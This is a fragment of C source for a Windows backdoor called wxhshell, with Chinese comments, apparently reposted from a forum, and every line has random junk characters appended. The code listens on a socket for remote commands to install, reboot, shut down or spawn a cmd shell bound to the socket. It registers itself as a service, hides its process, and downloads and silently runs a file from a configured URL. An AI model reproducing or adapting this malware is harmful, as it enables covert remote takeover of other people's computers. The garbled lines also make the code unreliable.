  Kh'/Ne?  
  // 帮助 fqFE GyeNr  
  case '?': { )m \}ITf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ES }@mO  
    break; W}.;]x%1B  
  } WF-B=BRZ  
  // 安装 doVBVTk^  
  case 'i': { O0';j!?X  
    if(Install()) BTgL:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 69TQHJ[  
    else Y)g<> }F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kbBX\*{yh  
    break; 7bCTR2e\@w  
    } M[@).4h  
  // 卸载 *5.s@L( VU  
  case 'r': { xSug-  
    if(Uninstall())  3m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D8C@x`  
    else 0;} 9XZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aKkQXq*  
    break; nW!rM($q  
    } fA2H8"r  
  // 显示 wxhshell 所在路径 wT3QS J  
  case 'p': { P%g[!9 '  
    char svExeFile[MAX_PATH]; <0 k(d:H-  
    strcpy(svExeFile,"\n\r"); M E4MZt:>  
      strcat(svExeFile,ExeFile); K({+3vK  
        send(wsh,svExeFile,strlen(svExeFile),0); c+ Ejah+  
    break; -Q<3Q_  
    } ]?/[& PP,  
  // 重启 G! L=W#{  
  case 'b': {  #/MUiV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8s6[?=nM  
    if(Boot(REBOOT)) #4Xe zj,g*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Z#97Jc+J  
    else { w91{''sK  
    closesocket(wsh); `BdZqXKG  
    ExitThread(0); mc~d4<$`!  
    } 218ZUg -a  
    break; e(O"V3wq*6  
    } !!%vs 6  
  // 关机 u B~/W  
  case 'd': { $DJp|(8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +^1H tI|y  
    if(Boot(SHUTDOWN)) p&_Kb\} U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f XS4&XU  
    else { F !tn|!~  
    closesocket(wsh); b6'%nR*f  
    ExitThread(0); +8 ]}'6m  
    } -A[iTI"  
    break; #x" 4tI  
    } r> eOq[z  
  // 获取shell (S&X??jfB5  
  case 's': { kQRNVdiz  
    CmdShell(wsh); #Kyb9Qg  
    closesocket(wsh); Vdjf F&q  
    ExitThread(0); ac p-4g+j  
    break; %19TJn%J$  
  } O|O#T.Tg  
  // 退出 [Z` q7ddd^  
  case 'x': { K!lGo3n]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A=Q"IdK  
    CloseIt(wsh); /9/=]  
    break; 3&/5!zOg)  
    } (B.J8`h }  
  // 离开 iL\<G} I  
  case 'q': { &$ia#j{l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aF;Q SI  
    closesocket(wsh); -^Baxkq(YM  
    WSACleanup(); \=?f4*4|/  
    exit(1); Klzsr,  
    break; @f-0OX$*  
        } u0^GB9q  
  } D[x0sly  
  } l Ztq_* Fl  
(@vu/yN  
  // 提示信息 n"Ot'1yr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8B"jvrs  
} g|a2z_R  
  } <*<7p{x  
t \kI( G  
  return; w4<RV:Vmt  
} U{"&Jj  
Wo<zvut8  
// shell模块句柄 m/5:-xL31  
int CmdShell(SOCKET sock) B<T wTv  
{ O%AQ'['  
STARTUPINFO si; 3b (I~  
ZeroMemory(&si,sizeof(si)); 79AOvh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  P 1X8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /0>Cy\eN0  
PROCESS_INFORMATION ProcessInfo; MoIVval/  
char cmdline[]="cmd"; RAxAy{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CTv-$7#  
  return 0; [RiCa  
} MM"{ehd{^a  
a.L ?J  
// 自身启动模式 +O`0Mc$%'  
int StartFromService(void) CaX&T2(  
{  =P\H}?PF  
typedef struct 0%7c?3#  
{ dW Y0  
  DWORD ExitStatus; 7rw}q~CE5  
  DWORD PebBaseAddress; 7Co }4  
  DWORD AffinityMask; @]" :3  
  DWORD BasePriority; US 9cuah1/  
  ULONG UniqueProcessId; *IJctYJaX  
  ULONG InheritedFromUniqueProcessId; <\|f;7/  
}   PROCESS_BASIC_INFORMATION; Z#IRNFj  
7_)'Re#  
PROCNTQSIP NtQueryInformationProcess; C S"2Sd 1`  
y+\nj3v6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d\WnuQR[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZC'(^liAp  
BaIH7JLZ8  
  HANDLE             hProcess; C s?kZ %  
  PROCESS_BASIC_INFORMATION pbi; i=#<0!m  
'Pk ( 1:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); } :P/eY  
  if(NULL == hInst ) return 0; !run3ip`Z  
j y R 9a!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I:Wrwd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MQ9 9fD$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $rD&rsx6  
7 [N1Vr(1  
  if (!NtQueryInformationProcess) return 0; OWT5Bjl  
3#}5dO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?u{y[pI6  
  if(!hProcess) return 0;  ~,Ck  
Ho9 a#9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z.Z+cFi  
R_eKKi@VH  
  CloseHandle(hProcess); l 3bo  
BFc=GiPnQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); # kl?ww U  
if(hProcess==NULL) return 0; 'kPc`) \  
{]]qd!,  
HMODULE hMod; \^or l9  
char procName[255]; DfgqB3U[  
unsigned long cbNeeded; P#-Ye<V~J(  
d#cw`h<c~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a^t#kdT  
ZgVYC4=Q-\  
  CloseHandle(hProcess); p@!{Sh  
_@wXh-nc  
if(strstr(procName,"services")) return 1; // 以服务启动 L6c =uN  
U@yn%k9  
  return 0; // 注册表启动 [GJ_]w^}j  
} #)QR^ss)iw  
yyb8l l?@a  
// 主模块 NCbn<ojb  
int StartWxhshell(LPSTR lpCmdLine) xhLVLXZ9  
{ ]p~w`_3v  
  SOCKET wsl; gTcLS|& H  
BOOL val=TRUE; #?-2f{  
  int port=0; . S4Xw2MS  
  struct sockaddr_in door; ohklLZoZ  
me"}1REa  
  if(wscfg.ws_autoins) Install(); %/NB263Db  
}w ^Hm3Y^&  
port=atoi(lpCmdLine); ^3 C8GzOsO  
ZE863M@.  
if(port<=0) port=wscfg.ws_port; T+7-6y+ d  
4Ynv=G Qz  
  WSADATA data; u+"3l@Y#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \tH^w@j47  
bII pJQ1.[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xg E\q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *o <S{  
  door.sin_family = AF_INET; bim}{wMb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q{1Q w'+@  
  door.sin_port = htons(port); ?_*X\En*3  
77?/e^K\S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xsn2Qn/P  
closesocket(wsl); UPQ?vh2F2  
return 1; wxU@M1w}  
} hF|N81T  
l0N~mes  
  if(listen(wsl,2) == INVALID_SOCKET) { HE#IJB6BS?  
closesocket(wsl); 2 ZW {  
return 1; NN\>( =  
} a~jU~('4}w  
  Wxhshell(wsl); KPc`5X  
  WSACleanup(); U7i WYdt$  
Hz39v44  
return 0; AlF"1X02  
Q |,(C0<G  
} C.`C T7  
FJxg9!%d  
// 以NT服务方式启动 [xW;5j<87  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yh~*Kt]9Ya  
{ 3 VNYDY`>  
DWORD   status = 0; G+&ug`0]5  
  DWORD   specificError = 0xfffffff; r$<-2lW  
[H ^ ktF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tP/0_^m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @$o.Z;83`r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &/o4R:i  
  serviceStatus.dwWin32ExitCode     = 0; l12Pj02w  
  serviceStatus.dwServiceSpecificExitCode = 0; #pDWwnP[rt  
  serviceStatus.dwCheckPoint       = 0; 5DB4vh  
  serviceStatus.dwWaitHint       = 0; .=@xTJh  
ZYf0FC=-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %@Mv-A6)  
  if (hServiceStatusHandle==0) return; R]L$Ld< ij  
= cQK^$6(  
status = GetLastError(); uW4 )DT9[5  
  if (status!=NO_ERROR) ,i0Dw"/u  
{ PX!$w*q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gt]k#(S  
    serviceStatus.dwCheckPoint       = 0; Q> OBK&'  
    serviceStatus.dwWaitHint       = 0; y~eQVnH5W  
    serviceStatus.dwWin32ExitCode     = status; &!Sq6<!v2  
    serviceStatus.dwServiceSpecificExitCode = specificError; c:? tn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 02+ k,xFb  
    return; UYOveQ;  
  }  rvP Y  
.tRp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?w/i;pp<,  
  serviceStatus.dwCheckPoint       = 0; 3(?V!y{@  
  serviceStatus.dwWaitHint       = 0; S)`%clN}J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \0bao<  
} I$yFCdXr  
L TsX{z  
// 处理NT服务事件,比如:启动、停止 #GoZH?MAF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7S^ba  
{ wg-qq4Q\  
switch(fdwControl) (^),G-]  
{  S(* u_  
case SERVICE_CONTROL_STOP: YF)uAJAk  
  serviceStatus.dwWin32ExitCode = 0; !Q/oj Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MK1V1F`  
  serviceStatus.dwCheckPoint   = 0; _-MILkx\  
  serviceStatus.dwWaitHint     = 0; $r3kAM;V:  
  { G#uD CF,O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ B \G=Y  
  } !UPKy$  
  return; irZMgRQAT  
case SERVICE_CONTROL_PAUSE: p"l GR&b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MZ$x(Vcj  
  break; st4WjX_Q  
case SERVICE_CONTROL_CONTINUE: R%%Uw %`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 19#s:nt9  
  break; 1:Sq?=&  
case SERVICE_CONTROL_INTERROGATE: Dt#( fuk#  
  break; *P:!lO\|  
}; $%:=;1Jl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ t=ls  
} [ :Upn)9  
0eMO`8u[A  
// 标准应用程序主函数 0R21"]L_M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ka4KsJN  
{ .<fn+]  
r]+/"~a  
// 获取操作系统版本 ?:$aX@r  
OsIsNt=GetOsVer(); '}$]V>/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r(qw zUI  
}F B]LLi  
  // 从命令行安装 4LY$;J;2  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;xXD2{q  
ffH]`N  
  // 下载执行文件 J]AkWEiCJ  
if(wscfg.ws_downexe) { J=l\t7w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :abpht  
  WinExec(wscfg.ws_filenam,SW_HIDE); >Tf <8r,  
} uge~*S  
qpEK36Js  
if(!OsIsNt) { l b9O  
// 如果时win9x,隐藏进程并且设置为注册表启动 1#w'<}h#U  
HideProc(); 6&,{"N0 T  
StartWxhshell(lpCmdLine); /z)H7s+  
} N{}o*K  
else 6,raRg6  
  if(StartFromService()) .Ce0yAl~  
  // 以服务方式启动 j9sLR  
  StartServiceCtrlDispatcher(DispatchTable); LlF|VR&P.  
else F?c : ).g  
  // 普通方式启动 SHA6;y+U/~  
  StartWxhshell(lpCmdLine); -s_=4U,  
s$3WJ'yr  
return 0; <)]j;Tl  
}
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只看该作者 1 发表于: 2006-10-10
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